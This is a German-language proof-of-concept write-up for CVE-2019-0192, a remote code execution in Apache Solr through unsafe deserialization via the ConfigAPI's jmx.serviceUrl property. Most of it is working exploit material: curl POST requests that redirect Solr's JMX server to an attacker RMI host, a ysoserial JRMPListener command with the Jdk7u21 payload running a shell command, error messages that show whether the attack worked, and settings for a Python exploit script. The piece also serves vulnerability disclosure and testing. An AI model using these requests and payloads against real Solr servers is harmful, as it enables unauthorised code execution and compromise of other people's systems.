
RCE auf Apache Solr durch Deserialisierung nicht vertrauenswürdiger Daten über jmx.serviceUrl
Dies ist ein früher PoC des Apache Solr RCE
Von https://issues.apache.org/jira/browse/SOLR-13301:
Die ConfigAPI ermöglicht es, Solrs JMX-Server über eine HTTP-POST-Anfrage zu konfigurieren. Indem man sie auf einen bösartigen RMI-Server verweist, könnte ein Angreifer die unsichere Deserialisierung von Solr ausnutzen, um Remote-Code-Ausführung auf der Solr-Seite auszulösen.

Wenn man sich die Beschreibung des Security Advisories ansieht und die ConfigAPI-Ressourcen von Apache Solr prüft, findet man einen Verweis auf einen JMX-Server:

serviceUrl - (optional str) Service-URL für einen JMX-Server. Wenn nicht angegeben, wird der standardmäßige Plattform-MBean-Server verwendet.
Indem wir prüfen, wie ConfigAPI funktioniert, können wir nachvollziehen, wie ein entfernter JMX-Server gesetzt wird:
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8983' \
-H $'Content-Type: application/json' \
--data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
$'http://127.0.0.1:8983/solr/techproducts/config/jmx'
Für den PoC verwende ich yoserial, um mit dem Payload Jdk7u21 einen bösartigen RMI-Server zu erstellen.
java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "touch /tmp/pwn.txt"
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8983' \
-H $'Content-Type: application/json' \
--data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
$'http://127.0.0.1:8983/solr/techproducts/config/jmx'
Hinweis: Du solltest einen 500-Fehler mit einem schönen Stacktrace erhalten.
Wenn du diesen Fehler siehst: "Non-annotation type in annotation serial stream" bedeutet das, dass Apache Solr mit einer Java-Version > JRE 7u25 läuft und dieser PoC nicht funktionieren wird.
Andernfalls solltest du diesen Fehler sehen: "undeclared checked exception; nested exception is" und der PoC sollte funktionieren.
remote = "http://172.18.0.5:8983"
ressource = ""
RHOST = "172.18.0.1"
RPORT = "1099"
python3 CVE-2019-0192.py
Security Advisory: